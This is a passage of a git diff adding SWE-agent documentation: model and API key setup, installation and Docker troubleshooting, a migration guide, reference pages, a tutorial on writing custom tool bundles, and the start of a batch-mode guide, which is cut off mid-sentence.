[Anthropic](https://docs.anthropic.com/en/api/getting-started), [OpenAI](https://platform.openai.com/docs/quickstart/step-2-set-up-your-api-key), and [Github](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) tokens. + +!!! tip "Advanced settings" + + See [model config](../config/models.md) for more details on advanced settings. + +## Supported API models + +We support all models supported by [litellm](https://github.com/BerriAI/litellm), see their list [here](https://docs.litellm.ai/docs/providers). + +!!! tip "Custom model registries" + + If you're using a model that's not in the default litellm model registry (e.g., custom local models or new models), you can provide a custom model registry file using the `litellm_model_registry` configuration option. This allows proper cost tracking for any model. See the [custom cost tracking section](../config/models.md#custom-cost-tracking) for details. + +Here are a few options for `--agent.model.name`: + +| Model | API key | Comment | +| ----- | ------- | ------- | +| `claude-sonnet-4-20250514` | `ANTHROPIC_API_KEY` | Our recommended model | +| `gpt-4o` | `OPENAI_API_KEY` | | +| `o1-preview` | `OPENAI_API_KEY` | You might need to set temperature and sampling to the supported values. | + +!!! warning "Function calling and more: Setting the correct parser" + + The default config uses function calling to retrieve actions from the model response, i.e., + the model directly provides the action as a JSON object. + If your model doesn't support function calling, you can use the `thought_action` parser by setting + `agent.tools.parse_function.type` to `thought_action`. + Then, we extract the last triple-backticks block from the model response as the action. + See [our API docs](../reference/parsers.md) for more details on parsers. + Remember to document the tools in your prompt as the model will not be able to see the function signature + like with function calling. + +!!! tip "Specific models" + + See [model config](../config/models.md) for more details on specific models. + +## Using local models + +We currently support all models that serve to an endpoint with an OpenAI-compatible API. + +For example, to use llama, you can follow the [litellm instructions](https://docs.litellm.ai/docs/providers/ollama) and set + +```yaml title="config/your_config.yaml" +agent: + model: + name: ollama/llama2 # (1)! + api_base: http://localhost:11434 + per_instance_cost_limit: 0 # (2)! + total_cost_limit: 0 + per_instance_call_limit: 100 + max_input_tokens: 0 # (3)! + tools: + # The default for obtaining actions from model outputs is function calling. + # If your local model does not support that, you can use the thought_action parser + # instead (see below) + parse_function: + type: "thought_action" + # You probably do not need the cache control history processor if you're not + # using Claude, so please remove it if it's in your config. + history_processors: [] +``` + +1. Make sure that your model includes a "provider", i.e., follows the form `provider/model_name`. The model name and provider might be arbitrarily chosen. +2. We cannot track costs, so you must disable this (see below) +3. Disable max input tokens check + +in your [config file](../config/config.md). +Note that you're always ingesting a config file: If you haven't specified it manually with `--config`, we're loading a default config, which might not +what you want (in particular, it uses function calling and prompt caching)! +If you're using a [litellm proxy](https://docs.litellm.ai/docs/providers/openai_compatible#usage-with-litellm-proxy-server), make sure to set your `agent.model.name` to `openai/...` +and set `agent.model.api_key` to the key you've configured for your proxy (or a random value; it cannot be empty). + +!!! warning "Model providers" + + Make sure that your model name includes a "provider", i.e., follows the form `provider/model_name`. The model name and provider might be arbitrarily chosen + for local models. + +!!! warning "Cost/token limits" + + If you do not disable the default cost limits, you will see an error because the cost calculator will not be able to find the model in the `litellm` model cost dictionary. + + You have two options: + + 1. **Disable cost tracking** (recommended for most users): Set `per_instance_cost_limit` to 0 and use the `per_instance_call_limit` instead to limit the runtime per issue. + 2. **Use a custom model registry**: If you want to track costs for your local model, you can provide a custom `litellm_model_registry` file with cost information for your model (see [here](../config/models.md#custom-cost-tracking)). + + Please also make sure to set `max_input_tokens` to a non-`None` value to avoid other warnings. + + +!!! warning "Parsing functions" + + The default config uses function calling to retrieve actions from the model response, i.e., + the model directly provides the action as a JSON object. + If your model doesn't support function calling, you can use the `thought_action` parser by setting + `agent.tools.parse_function.type` to `thought_action`. + Then, we extract the last triple-backticks block from the model response as the action. + See [our API docs](../reference/parsers.md) for more details on parsers. + Remember to document the tools in your prompt as the model will not be able to see the function signature + like with function calling. + +!!! warning "Message types" + + The `cache_control` history processor requires a different message format + (e.g., `{'role': 'user', 'content': [{'type': 'text', 'text': 'some text', 'cache_control': {'type': 'ephemeral'}}]}]`). + This might not be understood by all language models. + Therefore, please remove this history processor if you do not need it + (it's currently mostly used for anthropic cache control). + See [#957](https://github.com/SWE-agent/SWE-agent/issues/957) for more information. + +## Something went wrong? + +* If you get `Error code: 404`, please check your configured keys, in particular + whether you set `OPENAI_API_BASE_URL` correctly (if you're not using it, the + line should be deleted or commented out). + Also see [this issue](https://github.com/SWE-agent/SWE-agent/issues/467) + for reference. + + +## Further reads & debugging + +!!! hint "Further reads" + + See [our API docs](../reference/model_config.md) for all available options. + Our [model config page](../config/models.md) has more details on specific models and tips and tricks. + +{% include-markdown "../_footer.md" %} diff --git a/docs/installation/migration.md b/docs/installation/migration.md new file mode 100644 index 0000000..33923cf --- /dev/null +++ b/docs/installation/migration.md @@ -0,0 +1,47 @@ +# SWE-agent 1.0.0 migration guide + +Welcome to SWE-agent 1.0! So much new stuff! Here's a quick rundown of the cool new things you can do: + +* :sparkles: Fast, massively parallel code execution with [SWE-ReX](https://github.com/swe-agent/SWE-ReX). +* :sparkles: Run SWE-agent locally but execute code in the cloud (using modal, AWS, or anything else that runs [SWE-ReX](https://github.com/swe-agent/SWE-ReX)). +* :sparkles: Configurable retry mechanisms: Try multiple agent configurations, models, parameters, etc., then choose the best one. +* :sparkles: Flexible tool definitions with [tool bundles](../config/tools.md). +* :sparkles: All language models supported using `litellm` (see [models](../installation/keys.md)). +* :sparkles: Override any configuration option from the command line (see [command line basics](../usage/cl_tutorial.md)). +* :sparkles: New [command line trajectory inspector](../usage/inspector.md) to scroll few hundreds of trajectories with ease. +* :sparkles: [New command line interface](../usage/cli.md) with subcommands for running over single issues, batches, and various utility commands. +* :sparkles: Greatly simplified and cleaned up codebase. In particular, the `Agent` class is now much easier to modify. + +If you're familiar with the old SWE-agent, here are the main changes you need to be aware of. + +!!! tip "SWE-agent 0.7" + The old SWE-agent before the major overhaul is still preserved on the `v0.7` branch. + In particular, this is still the version to use for the SWE-agent EnIGMA configuration. + You can also switch to the old documentation using the dropdown in the top menu bar. + +## Command line interface and basic configuration + +* Instead of the `run.py` script, we now have a central `sweagent` entry point that you can call after installing the package. + This should be much more convenient! +* Instead of one `run.py` command, we now have several subcommands: `sweagent run` to run over single issues, `sweagent run-batch` to run over a whole batch of issues, and various utility commands. Run `sweagent --help` to see all options. Splitting up both commands made it easier to make both use cases more convenient and flexible. +* We have switched to a hierarchical configuration system. This means that command line options look something like this: `--agent.model.name=gpt-4o`. + The configuration files have also been updated to reflect this. + +## Environment setup + +We removed the complicated mess of environment setup options (`conda` environments, `pip`, docker images, etc.). +Instead, you now always start from a docker image of your choice and we recommend that this should ship with all the dependencies you need. +However, you can also execute additional commands before starting the agent with `EnvironmentConfig.post_startup_commands`. +Additionally, every [tool bundle](../config/tools.md) can include a `setup.sh` script that will be executed, allowing to e.g., install `flake8` if needed by the tools. + +## More advanced configuration + +* Tools now live in tool bundles in the `tools/` directory. You can mix and match tools to your liking. + +## Code + +The codebase has been nearly rewritten from scratch and both more powerful and more flexible. + +* The biggest change is [SWE-ReX](https://github.com/swe-agent/SWE-ReX), our new "backend" that handles all code execution. +* As a result of this, the `SWEEnv` class is basically gone and only is a small wrapper around a `swerex` runtime +* The `Agent` class also has gotten a lot simpler. It also delegates a lot of tool/execution logic to the new `Tools` class. diff --git a/docs/installation/source.md b/docs/installation/source.md new file mode 100644 index 0000000..948ae25 --- /dev/null +++ b/docs/installation/source.md @@ -0,0 +1,55 @@ +# Installation from source + +Installation from source is the preferred way to set up SWE-agent on your machine. + +1. Clone the repository, for example with + ```bash + git clone https://github.com/SWE-agent/SWE-agent.git + ``` +2. Run + ``` + python -m pip install --upgrade pip && pip install --editable . + ``` + at the repository root (as with any python setup, it's recommended to use [conda][] or [virtual environments][] to manage dependencies). +3. Set up your language model of choice as explained [here](keys.md). + +Let's run a quick check: + +```bash +sweagent --help +``` + +should show an overview over the available top-level commands. + +
+Command not found? + +You might also try python -m sweagent. If this also doesn't work, +please check with which python that you're using the same python as +when you installed SWE-agent. + +
+ +**Optional installation steps:** + +1. The default backend for SWE-agent is docker, so we recommend to install Docker + ([follow the docs](https://github.com/docker/docker-install) or use the [get-docker.sh script for linux](https://github.com/docker/docker-install)), + then start Docker locally. Problems? See [docker issues](tips.md#docker). + If you do not want to use docker, you can still use SWE-agent with code evaluation in the cloud. +2. If you plan on using the web-based GUI: Install [`Node.js`][nodejs-install]. + +[nodejs-install]: https://docs.npmjs.com/downloading-and-installing-node-js-and-npm + +!!! tip "Installation tips" + * If you run into docker issues, see the [installation tips section](tips.md) for more help. + * SWE-agent is still in active development. Features and enhancement are added often. + To make sure you are on the latest version, periodically run `git pull` + (there is no need to redo the `pip install`). + * SWE-agent EnIGMA is currently only compatible with `v0.7` of SWE-agent. Please run `git switch v0.7` after step 1 to switch to the correct version. + * Want to modify SWE-agent? Great! There are a few extra steps and tips: + Please check our [contribution guide](../dev/contribute.md). + +[conda]: https://docs.conda.io/en/latest/ +[virtual environments]: https://realpython.com/python-virtual-environments-a-primer/ + +{% include-markdown "../_footer.md" %} diff --git a/docs/installation/tips.md b/docs/installation/tips.md new file mode 100644 index 0000000..10dffba --- /dev/null +++ b/docs/installation/tips.md @@ -0,0 +1,26 @@ +# Installation troubleshooting + +## Docker issues + +First, test if you can use docker in general, for example by running + +```bash +docker run hello-world +``` + +If you get an error like + +``` +docker: permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: +Head "http://%2Fvar%2Frun%2Fdocker.sock/_ping": dial unix /var/run/docker.sock: connect: permission denied. +``` + +* Make sure that you allow the use of the Docker socket. In Docker desktop, click *Settings* > *Advanced* > *Allow the default Docker socket to be used (requires password)*. +* On the command line, you can try `sudo chmod 666 /var/run/docker.sock` or add your user to the `docker` linux user group +* If your docker installation uses a different socket, you might have to symlink them, see [this command for example](https://github.com/SWE-agent/SWE-agent/issues/20#issuecomment-2047506005) + +If you are using any containers from dockerhub (i.e., you ran `docker pull ...` or you are running `docker run ...`), please make sure that you are using the latest +versions. Just because an image has the `latest` tag (e.g., `sweagent/swe-agent-run:latest`) does not mean that it will auto-update. Please run +`docker pull sweagent/swe-agent-run:latest` to make sure you actually have the most recent version! + +Any remaining issues? Please [open a GitHub issue](https://github.com/SWE-agent/SWE-agent/issues/new/choose)! diff --git a/docs/overrides/main.html b/docs/overrides/main.html new file mode 100644 index 0000000..9f799fb --- /dev/null +++ b/docs/overrides/main.html @@ -0,0 +1,108 @@ +{% extends "base.html" %} +{% block announce %} +📣 We now recommend mini-swe-agent instead of SWE-agent: Same performance, much more simple & flexible +{% endblock %} + +{% block content %} +{{ super() }} + + +
+
+
+

SWE-agent has been superseded by mini-swe-agent.

+

mini-swe-agent is simpler & more flexible while still being as performant.

+

See the FAQ for more details about why you should switch. +
SWE-agent is now in maintenance-only mode.

+
+
+ + Check out mini-swe-agent + + +
+
+
+ + + + +
+
Our projects
+ + Mini-SWE-Agent + Mini-SWE-Agent + + + SWE-rex + SWE-ReX + + + SWE-smith + SWE-smith + + + SWE-bench + SWE-bench + + + sb-cli + sb-cli + +
+{% endblock %} diff --git a/docs/reference/agent.md b/docs/reference/agent.md new file mode 100644 index 0000000..9520d87 --- /dev/null +++ b/docs/reference/agent.md @@ -0,0 +1,9 @@ +# The agent class + +This page documents the `Agent` class, which runs the main loop of the agent. +To learn about the configuration objects used to specify the behavior of an agent, +see the [agent configuration reference page](agent_config.md). + +::: sweagent.agent.agents.RetryAgent + +::: sweagent.agent.agents.DefaultAgent \ No newline at end of file diff --git a/docs/reference/agent_config.md b/docs/reference/agent_config.md new file mode 100644 index 0000000..e152cb7 --- /dev/null +++ b/docs/reference/agent_config.md @@ -0,0 +1,26 @@ +# Agent configuration + +This page documents the configuration objects used to specify the behavior of an agent. +To learn about the agent class itself, see the [agent class reference page](agent.md). + +It might be easiest to simply look at some of our example configurations in the [config dir](https://github.com/SWE-agent/SWE-agent/tree/main/config). + +
+Example: default config default.yaml + +```yaml +--8<-- "config/default.yaml" +``` +
+ +Currently, there are three main agent classes: + +* `DefaultAgentConfig`: This is the default agent. +* `RetryAgentConfig`: A "meta agent" that instantiates multiple agents for multiple attempts and then picks the best solution. +* `ShellAgentConfig`: Config for `ShellAgent` (invoked with `sweagent sh`), which is an experimental mode for quick & interactive (human-in-the-loop) workflows. + +::: sweagent.agent.agents.RetryAgentConfig + +::: sweagent.agent.agents.DefaultAgentConfig + +::: sweagent.agent.agents.ShellAgentConfig \ No newline at end of file diff --git a/docs/reference/batch_instances.md b/docs/reference/batch_instances.md new file mode 100644 index 0000000..bb3b385 --- /dev/null +++ b/docs/reference/batch_instances.md @@ -0,0 +1,11 @@ +# Batch instances + +This page documents the batch instances functionality for running SWE-agent on multiple problems. + +::: sweagent.run.batch_instances + options: + members_order: source + show_root_heading: false + show_root_toc_entry: false + show_source: false + parameter_headings: false \ No newline at end of file diff --git a/docs/reference/bundle_config.md b/docs/reference/bundle_config.md new file mode 100644 index 0000000..1567f02 --- /dev/null +++ b/docs/reference/bundle_config.md @@ -0,0 +1,12 @@ +# Tool bundle configuration + +!!! note "Tool bundle configuration" + + This is the page for configuring a tool bundle, not for setting up the tools that are being used for the agent. + For the latter, see [tools configuration](tools_config.md). + +::: sweagent.tools.bundle.BundleConfig + +::: sweagent.tools.commands.Command + +::: sweagent.tools.commands.Argument diff --git a/docs/reference/env.md b/docs/reference/env.md new file mode 100644 index 0000000..f7b3fa2 --- /dev/null +++ b/docs/reference/env.md @@ -0,0 +1,9 @@ +# The environment class + +This page documents the `SWEEnv` class, which provides the environment for the agent to interact with. +To learn about the configuration objects used to specify the behavior of the environment, +see the [environment configuration reference page](env_config.md). + +::: sweagent.environment.swe_env.SWEEnv + options: + allow_inspection: false \ No newline at end of file diff --git a/docs/reference/env_config.md b/docs/reference/env_config.md new file mode 100644 index 0000000..4c7b191 --- /dev/null +++ b/docs/reference/env_config.md @@ -0,0 +1,6 @@ +# Environment configuration + +This page documents the configuration objects used to specify the behavior of the environment. +To learn about the environment class itself, see the [environment class reference page](env.md). + +::: sweagent.environment.swe_env.EnvironmentConfig \ No newline at end of file diff --git a/docs/reference/exceptions.md b/docs/reference/exceptions.md new file mode 100644 index 0000000..1f226bf --- /dev/null +++ b/docs/reference/exceptions.md @@ -0,0 +1,6 @@ +# Custom exceptions raised by SWE-agent + +::: sweagent.exceptions + options: + show_root_full_path: false + show_bases: false diff --git a/docs/reference/history_processor_config.md b/docs/reference/history_processor_config.md new file mode 100644 index 0000000..068164f --- /dev/null +++ b/docs/reference/history_processor_config.md @@ -0,0 +1,23 @@ +# History processor configuration + +History processors can filter the history/trajectory to query the model. +For example, a very simple history processor would be one that strips away old observations to reduce context when querying the model. + +You can set them as follows: + +```yaml +agent: + history_processors: + - type: last_n_observations + n: 5 +``` + +::: sweagent.agent.history_processors.DefaultHistoryProcessor + +::: sweagent.agent.history_processors.LastNObservations + +::: sweagent.agent.history_processors.TagToolCallObservations + +::: sweagent.agent.history_processors.CacheControlHistoryProcessor + +::: sweagent.agent.history_processors.RemoveRegex \ No newline at end of file diff --git a/docs/reference/index.md b/docs/reference/index.md new file mode 100644 index 0000000..6a1ff45 --- /dev/null +++ b/docs/reference/index.md @@ -0,0 +1,6 @@ +# API Reference + +This section shows all configuration options, as well as API details for the main classes. + +!!! tip "SWE-agent architecture" + Before you dive into the code, please first read the [architecture page](../background/architecture.md) for an overview of SWE-agent. diff --git a/docs/reference/model_config.md b/docs/reference/model_config.md new file mode 100644 index 0000000..e03cfd0 --- /dev/null +++ b/docs/reference/model_config.md @@ -0,0 +1,55 @@ +# Models + +!!! hint "Tutorial" + + Please see the [model section in the installation guide](../installation/keys.md) for an overview of the different models and how to configure them. + +This page documents the configuration objects used to specify the behavior of a language model (LM). + +In most cases, you will want to use the `GenericAPIModelConfig` object. + +## API LMs + +::: sweagent.agent.models.GenericAPIModelConfig + options: + heading_level: 3 + +::: sweagent.agent.models.RetryConfig + options: + heading_level: 3 + + +## Manual models for testing + +The following two models allow you to test your environment by prompting you for actions. +This can also be very useful to create your first [demonstrations](../config/demonstrations.md). + +::: sweagent.agent.models.HumanModel + options: + heading_level: 3 + +::: sweagent.agent.models.HumanModelConfig + options: + heading_level: 3 + +::: sweagent.agent.models.HumanThoughtModel + options: + heading_level: 3 + +::: sweagent.agent.models.HumanThoughtModelConfig + options: + heading_level: 3 + +## Replay model for testing and demonstrations + +::: sweagent.agent.models.ReplayModel + options: + heading_level: 3 + +::: sweagent.agent.models.ReplayModelConfig + options: + heading_level: 3 + +::: sweagent.agent.models.InstantEmptySubmitModelConfig + options: + heading_level: 3 diff --git a/docs/reference/parsers.md b/docs/reference/parsers.md new file mode 100644 index 0000000..cb508b8 --- /dev/null +++ b/docs/reference/parsers.md @@ -0,0 +1,5 @@ +# Action parsers + +Action parsers interpret the output of the LM and return actions (tool calls/commands to execute) and thoughts (any other output of the LM, e.g., justifying the tool calls). + +::: sweagent.tools.parsing \ No newline at end of file diff --git a/docs/reference/problem_statements.md b/docs/reference/problem_statements.md new file mode 100644 index 0000000..26c7e3e --- /dev/null +++ b/docs/reference/problem_statements.md @@ -0,0 +1,57 @@ +# Specifying problems + +We currently support the following input types: + +* A string of text (`TextProblemStatement`) +* A path to a file on the local filesystem (`FileProblemStatement`) +* A URL to a GitHub issue (`GithubIssue`) +* An empty problem statement (`EmptyProblemStatement`) + +With `sweagent run`, you can specify the problem statement type with the `--problem-statement` flag. +For example: + +```bash title="From text" +--problem-statement.text="This is a problem statement" +--problem-statement.type=text +``` + +```bash title="From a file" +--problem-statement.path=path/to/file.txt +--problem-statement.type=text_file +``` + +```bash title="From a GitHub issue" +--problem-statement.url=https://github.com/org/repo/issues/123 +--problem-statement.type=github_issue +``` + +See below for more details on the configuration options. + + +All of these classes are defined in `sweagent.agent.problem_statement`. + +::: sweagent.agent.problem_statement.problem_statement_from_simplified_input + options: + show_root_full_path: false + show_bases: false + +::: sweagent.agent.problem_statement.TextProblemStatement + options: + show_root_full_path: false + show_bases: false + + +::: sweagent.agent.problem_statement.FileProblemStatement + options: + show_root_full_path: false + show_bases: false + +::: sweagent.agent.problem_statement.GithubIssue + options: + show_root_full_path: false + show_bases: false + +::: sweagent.agent.problem_statement.EmptyProblemStatement + options: + show_root_full_path: false + show_bases: false diff --git a/docs/reference/repo.md b/docs/reference/repo.md new file mode 100644 index 0000000..ef63226 --- /dev/null +++ b/docs/reference/repo.md @@ -0,0 +1,44 @@ +# Configuring repositories + +We currently support the following repository types: + +* A pre-existing repository (`PreExistingRepoConfig`) +* A local repository (`LocalRepoConfig`) +* A GitHub repository (`GithubRepoConfig`) + +With `sweagent run`, you can specify the repository type with the `--env.repo` flag. +For example: + +```bash title="From a pre-existing repository" +--env.repo.repo_name="testbed" # (1)! +--env.repo.type=preexisting +``` + +1. Folder name at the root of the deployment + +```bash title="From a local repository" +--env.repo.path=/path/to/repo +--env.repo.type=local +``` + +All of these classes are defined in `sweagent.environment.repo`. + +::: sweagent.environment.repo.PreExistingRepoConfig + options: + show_root_full_path: false + show_bases: false + +::: sweagent.environment.repo.LocalRepoConfig + options: + show_root_full_path: false + show_bases: false + +::: sweagent.environment.repo.GithubRepoConfig + options: + show_root_full_path: false + show_bases: false + +::: sweagent.environment.repo.repo_from_simplified_input + options: + show_root_full_path: false + show_bases: false diff --git a/docs/reference/run_batch_config.md b/docs/reference/run_batch_config.md new file mode 100644 index 0000000..f6e8e48 --- /dev/null +++ b/docs/reference/run_batch_config.md @@ -0,0 +1,5 @@ +# Batch run configuration + +This page documents the configuration options for running SWE-agent in batch mode on multiple problems. + +::: sweagent.run.run_batch.RunBatchConfig \ No newline at end of file diff --git a/docs/reference/run_single_config.md b/docs/reference/run_single_config.md new file mode 100644 index 0000000..8b9fad2 --- /dev/null +++ b/docs/reference/run_single_config.md @@ -0,0 +1,7 @@ +# Single run configuration + +This page documents the configuration options for running SWE-agent on a single problem. + +::: sweagent.run.run_single.RunSingleConfig + +::: sweagent.run.run_single.RunSingleActionConfig \ No newline at end of file diff --git a/docs/reference/template_config.md b/docs/reference/template_config.md new file mode 100644 index 0000000..9e2bf01 --- /dev/null +++ b/docs/reference/template_config.md @@ -0,0 +1,7 @@ +# Template configuration + +This page documents the template configuration used by SWE-agent to define message templates and formatting. + +Templates are used to format inputs and outputs into prompts/messages to query the LM. + +::: sweagent.agent.agents.TemplateConfig \ No newline at end of file diff --git a/docs/reference/tools_config.md b/docs/reference/tools_config.md new file mode 100644 index 0000000..25c3e4b --- /dev/null +++ b/docs/reference/tools_config.md @@ -0,0 +1,14 @@ +# Tool configuration + +This shows how to configure tools for SWE-agent. + +!!! note "Tool configuration" + + This is the page for configuring tools for SWE-agent, not for setting up the tools that are being used for the agent. + For the latter, see [tool bundles](bundle_config.md). + +::: sweagent.tools.tools.ToolConfig + +::: sweagent.tools.tools.ToolFilterConfig + +::: sweagent.tools.bundle.Bundle \ No newline at end of file diff --git a/docs/usage/adding_custom_tools.md b/docs/usage/adding_custom_tools.md new file mode 100644 index 0000000..730cb44 --- /dev/null +++ b/docs/usage/adding_custom_tools.md @@ -0,0 +1,310 @@ +# Adding Custom Tools + +!!! abstract "Adding custom tools to SWE-agent" + This tutorial walks you through creating and integrating custom tools into SWE-agent. + We'll create a fun `print_cat` command that prints ASCII art of a cat for morale boost! + + Please read our [hello world](hello_world.md) and [command line basics](cl_tutorial.md) tutorials before proceeding. + +## Understanding Tool Structure + +Every SWE-agent tool is organized as a "bundle" - a directory containing: + +1. **`config.yaml`** - Defines the tool's interface and documentation +2. **`bin/`** directory - Contains the executable scripts +3. **`install.sh`** (optional) - Sets up dependencies +4. **`lib/`** (optional) - Contains shared libraries or utilities + +Let's look at the simple `submit` tool structure: + +``` +tools/submit/ +├── config.yaml +└── bin/ + └── submit +``` + +## Step 1: Write the Command Script + +First, let's create our `morale_boost` tool bundle: + +```bash +mkdir -p tools/morale_boost/bin +``` + +Create the executable script that will be called when the agent runs your command: + +```bash title="tools/morale_boost/bin/print_cat" +#!/bin/bash + +# print_cat - A morale-boosting ASCII cat printer! + +echo "🐱 Here's a cat to boost your morale! 🐱" +echo "" +cat << 'EOF' + /\_/\ +( o.o ) + > ^ < + _) (_ +(_____) +EOF +echo "" +echo "You're doing great! Keep coding! 💪" +``` + +If you're wondering about the strange `EOF` construct, those are called +[heredocs](https://linuxize.com/post/bash-heredoc/) and enable multiline +arguments in bash. + +## Step 2: Define the Tool Configuration + +Create the `config.yaml` file that tells SWE-agent about your tool: + +```yaml title="tools/morale_boost/config.yaml" +tools: + print_cat: + signature: "print_cat" + docstring: "Prints an ASCII art cat for morale boost. Use when you need encouragement!" + arguments: [] +``` + +!!! tip "Tool Configuration Options" + + The `config.yaml` supports various options: + + - **`signature`**: How the command should be called (including arguments) + - **`docstring`**: Description that helps the AI understand when to use this tool + - **`arguments`**: List of arguments with types, descriptions, and whether they're required + +For a tool with arguments, it would look like this: + +```yaml title="Example with arguments" +tools: + print_animal: + signature: "print_animal [--size=]" + docstring: "Prints ASCII art of the specified animal" + arguments: + - name: animal_type + type: string + description: "Type of animal to print (cat, dog, elephant)" + required: true + - name: size + type: string + description: "Size of the art (small, medium, large)" + required: false +``` + +## Step 3: Tell the agent to use the new tool + +Now you need to tell SWE-agent to use your new tool. Copy `config/default.yaml` to `config/my_custom_config.yaml` +and make the following modification + +```yaml title="config/my_custom_config.yaml" +agent: + templates: + instance_template: |- + (...) + + Don't forget to use `print_cat` when you need encouragement! + + Your thinking should be thorough and so it's fine if it's very long. + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + - path: tools/morale_boost # Add our custom tool bundle! + # everything else stays the same +``` + +## Step 4: Let's test it + +Now you can test your tool by running SWE-agent with your custom configuration: + +```bash +sweagent run \ + --config config/my_custom_config.yaml \ + --agent.model.name=gpt-4o \ + --env.repo.github_url=https://github.com/SWE-agent/test-repo \ + --problem_statement.text="Add a simple hello world function to the repository. Feel free to use print_cat for morale!" +``` + +The agent should now have access to your `print_cat` command and may use it during execution! + +## Advanced Tool Features + +### Multiple Commands in One Bundle + +You can define multiple commands in a single tool bundle: + +```yaml title="tools/morale_boost/config.yaml - Extended version" +tools: + print_cat: + signature: "print_cat" + docstring: "Prints an ASCII art cat for morale boost" + arguments: [] + print_dog: + signature: "print_dog" + docstring: "Prints an ASCII art dog for variety" + arguments: [] + motivate: + signature: "motivate " + docstring: "Prints a motivational message with ASCII art" + arguments: + - name: message + type: string + description: "The motivational message to display" + required: true +``` + +Don't forget to create the corresponding scripts in the `bin/` directory! + +### Using Python Libraries + +If you prefer Python, you can create Python-based tools: + +```python title="tools/morale_boost/bin/print_cat" +#!/usr/bin/env python3 +""" +A morale-boosting cat printer in Python! +""" + +print("🐱 Here's a cat to boost your morale! 🐱") +``` + +If your Python tool needs additional dependencies, create an `install.sh` script: + +```bash title="tools/morale_boost/install.sh" +#!/bin/bash +# This script runs when the tool bundle is installed + +# Example: Install Python packages +pip install cowsay +pip install colorama + +echo "Morale boost tools installed! Ready to spread joy! 🎉" +``` + +### Environment Variables and Context + +Your tools can access environment variables and the current working context: + +```bash title="Example using environment variables" +#!/bin/bash + +echo "Current working directory: $PWD" +echo "Repository root: $ROOT" +echo "My custom variable: $MY_CUSTOM_VAR" +``` + +Adding environment variables in your config file can be a simple way of customizing your tools + +```yaml title="config/my_custom_config.yaml" +agent: + tools: + env_variables: + PAGER: cat + MY_CUSTOM_VAR: "Hello from config!" + DEBUG_MODE: "true" + # ... rest of config +``` + +For sensitive data like API keys, you can propagate environment variables from your host system: + +```yaml title="config/my_custom_config.yaml" +agent: + tools: + propagate_env_variables: + - "OPENAI_API_KEY" + - "GITHUB_TOKEN" + - "MY_SECRET_KEY" + # ... rest of config +``` + +Your tools can then access these variables: + +```bash title="tools/morale_boost/bin/print_cat_with_api" +#!/bin/bash + +if [ -n "$GITHUB_TOKEN" ]; then + echo "🐱 Connected to GitHub! Ready to boost morale across repos!" +else + echo "🐱 Just a local morale booster today!" +fi +``` + +However, we mostly recommend to use the python bindings of the `registry` bundle for keeping internal +state (instead of using environment variables). + +### Using the Registry Bundle + +The registry bundle provides a persistent key-value store that survives across tool calls. This is better than environment variables because +you can store complex data structures (lists, dictionaries) as JSON. + +**Setting registry variables in your config:** + +```yaml title="config/my_custom_config.yaml" +agent: + tools: + registry_variables: + MY_CUSTOM_SETTING: "hello world" + MORALE_MESSAGES: + - "You're doing great!" + - "Keep up the good work!" + - "Almost there!" + DEBUG_MODE: true + bundles: + - path: tools/registry # Always include this first! + - path: tools/morale_boost +``` + +**Accessing registry variables in your Python tools:** + +```python title="tools/morale_boost/bin/print_motivational_cat" +#!/usr/bin/env python3 + +from registry import registry + +def main(): + # Get a simple value with a fallback + setting = registry.get("MY_CUSTOM_SETTING", "default value") + print(f"Setting: {setting}") + + # Get a list of messages + messages = registry.get("MORALE_MESSAGES", []) + if messages: + import random + message = random.choice(messages) + print(f"🐱 {message}") + + # Set a value (persists across tool calls) + registry["LAST_MORALE_BOOST"] = "2024-01-15 10:30:00" + + print("Morale boosted! 🚀") + +if __name__ == "__main__": + main() +``` + +**Accessing registry variables in bash tools:** + +```bash title="tools/morale_boost/bin/print_simple_cat" +#!/bin/bash + +# Read from registry using the _read_env helper +CUSTOM_SETTING=$(_read_env "MY_CUSTOM_SETTING" "default value") +DEBUG_MODE=$(_read_env "DEBUG_MODE" "false") + +echo "🐱 Custom setting: $CUSTOM_SETTING" + +if [ "$DEBUG_MODE" = "true" ]; then + echo "Debug mode is enabled!" +fi +``` + +The registry is particularly useful for complex tools that need to maintain state across multiple invocations, like the `review_on_submit_m` tool that tracks submission stages. + +## State commands and more + +Take a look at our [tool documentation](../config/tools.md). + +{% include-markdown "../_footer.md" %} \ No newline at end of file diff --git a/docs/usage/batch_mode.md b/docs/usage/batch_mode.md new file mode 100644 index 0000000..d176314 --- /dev/null +++ b/docs/usage/batch_mode.md @@ -0,0 +1,231 @@ +# Batch mode + +!!! abstract "Running on many issues at once" + You have used `sweagent run`. To become a real power user, we'll convert you to `sweagent run-batch` and you can run on a hundred issues at once. + + * Please make sure you're familiar with [the command line basics](cl_tutorial.md). + * The default examples will be executing code in a Docker sandbox, so make sure you have docker installed ([docker troubleshooting](../installation/tips.md)). + If you cannot run docker, skim through the examples below and adapt accordingly. + +## A first example: SWE-bench + +So you've decided to run SWE-agent on a lot of issues in parallel. Great, the `run-batch` command is exactly here for that. +Let's run on three [SWE-bench](https://www.swebench.com/) issues which will be downloaded automatically. + +```bash +sweagent run-batch \ + --config config/default.yaml \ + --agent.model.name gpt-4o \ + --agent.model.per_instance_cost_limit 2.00 \ + --instances.type swe_bench \ + --instances.subset lite \ + --instances.split dev \ + --instances.slice :3 \ + --instances.shuffle=True +``` + +Let's look at the options: + +1. `--instances.type swe_bench`: There's a couple of built-in ways to configure instances. This option selects the SWE-bench dataset. +2. `--instances.subset lite`: There's a few datasets provided by the SWE-bench project. Lite is a subset of GitHub issues with a few heuristic filters that makes them more likely to be solvable. +3. `--instances.split dev`: Most datasets have a `dev` and a `test` split. +4. `--instances.slice :3`: The `--slice` option allows you to select a subset of instances from the dataset. It works just the way to pythons `list[...]` slicing, so you can specify `:10` to take the first 10 instances, `10:20` to take the next 10, `-10:` to take the last 10, or `10:20:2` to take every second instance in that range. +5. `--instances.shuffle=True`: Shuffle all instances before slicing. This is a deterministic operation, so the same command will always return the same instances in the same order. + +* There's some things that you should recognize: All of the `--agent` options are available and you can still specify `--config` files. +* However, the `--problem_statement`, `--repo`, and `--env` options obviously need to change, because you now want to populate these settings automatically from a source. + +This is where the new option comes in: `--instances`, specifying the **instance source** together with a few options. + +!!! tip "Tooltips" + Click on the :material-chevron-right-circle: icon in the right margin of the code snippet to see more information about the line. + +The output should remind you a lot like the output of the [hello world tutorial](hello_world.md), except for the progress bar at the bottom. +Kind of slow, isn't 